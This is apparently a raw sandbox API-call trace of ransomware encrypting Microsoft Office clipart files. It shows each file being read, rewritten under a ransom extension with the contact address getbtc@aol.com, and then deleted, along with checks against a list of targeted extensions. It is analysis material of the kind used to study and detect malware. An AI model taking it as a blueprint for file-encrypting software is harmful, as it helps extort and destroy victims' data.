ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.327] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.327] SetEndOfFile (hFile=0x388) returned 1 [0259.327] CloseHandle (hObject=0x388) returned 1 [0259.327] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.327] SetEndOfFile (hFile=0x3a8) returned 1 [0259.329] CloseHandle (hObject=0x3a8) returned 1 [0259.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf")) returned 1 [0259.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0259.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0259.331] lstrlenW (lpString=".doc") returned 4 [0259.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.331] lstrlenW (lpString=".docx") returned 5 [0259.331] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0259.331] lstrlenW (lpString=".pdf") returned 4 [0259.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.331] lstrlenW (lpString=".xls") returned 4 [0259.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.331] lstrlenW (lpString=".xlsx") returned 5 [0259.331] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0259.331] lstrlenW (lpString=".ppt") returned 4 [0259.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0259.331] lstrlenW (lpString=".zip") returned 4 [0259.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.331] lstrlenW (lpString=".rar") returned 4 [0259.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.331] lstrlenW (lpString=".bz2") returned 4 [0259.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.331] lstrlenW (lpString=".7z") returned 3 [0259.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0259.331] lstrlenW (lpString=".dbf") returned 4 [0259.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0259.331] lstrlenW (lpString=".1cd") returned 4 [0259.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0259.331] lstrlenW (lpString=".jpg") returned 4 [0259.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0259.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0259.332] lstrlenW (lpString=".doc") returned 4 [0259.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.332] lstrlenW (lpString=".docx") returned 5 [0259.332] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0259.332] lstrlenW (lpString=".pdf") returned 4 [0259.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.332] lstrlenW (lpString=".xls") returned 4 [0259.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.332] lstrlenW (lpString=".xlsx") returned 5 [0259.332] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0259.332] lstrlenW (lpString=".ppt") returned 4 [0259.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0259.332] lstrlenW (lpString=".zip") returned 4 [0259.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.332] lstrlenW (lpString=".rar") returned 4 [0259.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.332] lstrlenW (lpString=".bz2") returned 4 [0259.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.332] lstrlenW (lpString=".7z") returned 3 [0259.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0259.332] lstrlenW (lpString=".dbf") returned 4 [0259.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0259.332] lstrlenW (lpString=".1cd") returned 4 [0259.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0259.332] lstrlenW (lpString=".jpg") returned 4 [0259.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.333] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0259.333] lstrlenW (lpString="J0107488.WMF") returned 12 [0259.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.378] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=8000) returned 1 [0259.378] CloseHandle (hObject=0x390) returned 1 [0259.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf")) returned 0x20 [0259.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0259.450] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.450] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0259.451] GetLastError () returned 0x0 [0259.451] ReadFile (in: hFile=0x3e4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1f40, lpOverlapped=0x0) returned 1 [0259.541] WriteFile (in: hFile=0x3c0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1f50, lpOverlapped=0x0) returned 1 [0259.542] ReadFile (in: hFile=0x3e4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.542] WriteFile (in: hFile=0x3c0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.542] SetEndOfFile (hFile=0x3c0) returned 1 [0259.542] CloseHandle (hObject=0x3c0) returned 1 [0259.542] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.542] SetEndOfFile (hFile=0x3e4) returned 1 [0259.553] CloseHandle (hObject=0x3e4) returned 1 [0259.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf")) returned 1 [0259.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0259.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0259.554] lstrlenW (lpString=".doc") returned 4 [0259.554] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.554] lstrlenW (lpString=".docx") returned 5 [0259.554] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0259.554] lstrlenW (lpString=".pdf") returned 4 [0259.554] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.554] lstrlenW (lpString=".xls") returned 4 [0259.554] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.554] lstrlenW (lpString=".xlsx") returned 5 [0259.554] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0259.554] lstrlenW (lpString=".ppt") returned 4 [0259.554] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0259.554] lstrlenW (lpString=".zip") returned 4 [0259.554] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.554] lstrlenW (lpString=".rar") returned 4 [0259.554] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.554] lstrlenW (lpString=".bz2") returned 4 [0259.554] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.554] lstrlenW (lpString=".7z") returned 3 [0259.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0259.554] lstrlenW (lpString=".dbf") returned 4 [0259.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0259.554] lstrlenW (lpString=".1cd") returned 4 [0259.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0259.554] lstrlenW (lpString=".jpg") returned 4 [0259.555] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0259.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0259.555] lstrlenW (lpString=".doc") returned 4 [0259.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.555] lstrlenW (lpString=".docx") returned 5 [0259.555] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0259.555] lstrlenW (lpString=".pdf") returned 4 [0259.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.555] lstrlenW (lpString=".xls") returned 4 [0259.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.555] lstrlenW (lpString=".xlsx") returned 5 [0259.555] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0259.555] lstrlenW (lpString=".ppt") returned 4 [0259.555] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0259.555] lstrlenW (lpString=".zip") returned 4 [0259.555] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.555] lstrlenW (lpString=".rar") returned 4 [0259.555] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.555] lstrlenW (lpString=".bz2") returned 4 [0259.555] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.555] lstrlenW (lpString=".7z") returned 3 [0259.555] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0259.555] lstrlenW (lpString=".dbf") returned 4 [0259.555] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0259.555] lstrlenW (lpString=".1cd") returned 4 [0259.555] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0259.555] lstrlenW (lpString=".jpg") returned 4 [0259.555] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.556] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0259.556] lstrlenW (lpString="J0107492.WMF") returned 12 [0259.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0259.580] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=6860) returned 1 [0259.580] CloseHandle (hObject=0x37c) returned 1 [0259.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf")) returned 0x20 [0259.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0259.628] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.628] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0259.628] GetLastError () returned 0x0 [0259.628] ReadFile (in: hFile=0x388, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1acc, lpOverlapped=0x0) returned 1 [0259.694] WriteFile (in: hFile=0x37c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1ad0, lpOverlapped=0x0) returned 1 [0259.695] ReadFile (in: hFile=0x388, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.695] WriteFile (in: hFile=0x37c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.695] SetEndOfFile (hFile=0x37c) returned 1 [0259.695] CloseHandle (hObject=0x37c) returned 1 [0259.695] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.695] SetEndOfFile (hFile=0x388) returned 1 [0259.704] CloseHandle (hObject=0x388) returned 1 [0259.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf")) returned 1 [0259.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0259.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0259.705] lstrlenW (lpString=".doc") returned 4 [0259.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.705] lstrlenW (lpString=".docx") returned 5 [0259.705] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0259.705] lstrlenW (lpString=".pdf") returned 4 [0259.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.705] lstrlenW (lpString=".xls") returned 4 [0259.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.705] lstrlenW (lpString=".xlsx") returned 5 [0259.705] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0259.705] lstrlenW (lpString=".ppt") returned 4 [0259.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0259.705] lstrlenW (lpString=".zip") returned 4 [0259.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.705] lstrlenW (lpString=".rar") returned 4 [0259.705] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.705] lstrlenW (lpString=".bz2") returned 4 [0259.705] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.705] lstrlenW (lpString=".7z") returned 3 [0259.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0259.705] lstrlenW (lpString=".dbf") returned 4 [0259.705] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0259.705] lstrlenW (lpString=".1cd") returned 4 [0259.705] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0259.705] lstrlenW (lpString=".jpg") returned 4 [0259.705] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0259.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0259.706] lstrlenW (lpString=".doc") returned 4 [0259.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.706] lstrlenW (lpString=".docx") returned 5 [0259.706] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0259.706] lstrlenW (lpString=".pdf") returned 4 [0259.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.706] lstrlenW (lpString=".xls") returned 4 [0259.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.706] lstrlenW (lpString=".xlsx") returned 5 [0259.706] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0259.706] lstrlenW (lpString=".ppt") returned 4 [0259.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0259.706] lstrlenW (lpString=".zip") returned 4 [0259.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.706] lstrlenW (lpString=".rar") returned 4 [0259.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.706] lstrlenW (lpString=".bz2") returned 4 [0259.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.706] lstrlenW (lpString=".7z") returned 3 [0259.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0259.706] lstrlenW (lpString=".dbf") returned 4 [0259.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0259.706] lstrlenW (lpString=".1cd") returned 4 [0259.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0259.706] lstrlenW (lpString=".jpg") returned 4 [0259.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.706] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0259.707] lstrlenW (lpString="J0107512.WMF") returned 12 [0259.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0259.708] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=11404) returned 1 [0259.708] CloseHandle (hObject=0x388) returned 1 [0259.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf")) returned 0x20 [0259.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0259.708] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.708] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0259.709] GetLastError () returned 0x0 [0259.709] ReadFile (in: hFile=0x388, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x2c8c, lpOverlapped=0x0) returned 1 [0260.833] WriteFile (in: hFile=0x37c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2c90, lpOverlapped=0x0) returned 1 [0260.834] ReadFile (in: hFile=0x388, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0260.835] WriteFile (in: hFile=0x37c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0260.835] SetEndOfFile (hFile=0x37c) returned 1 [0260.835] CloseHandle (hObject=0x37c) returned 1 [0260.835] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.835] 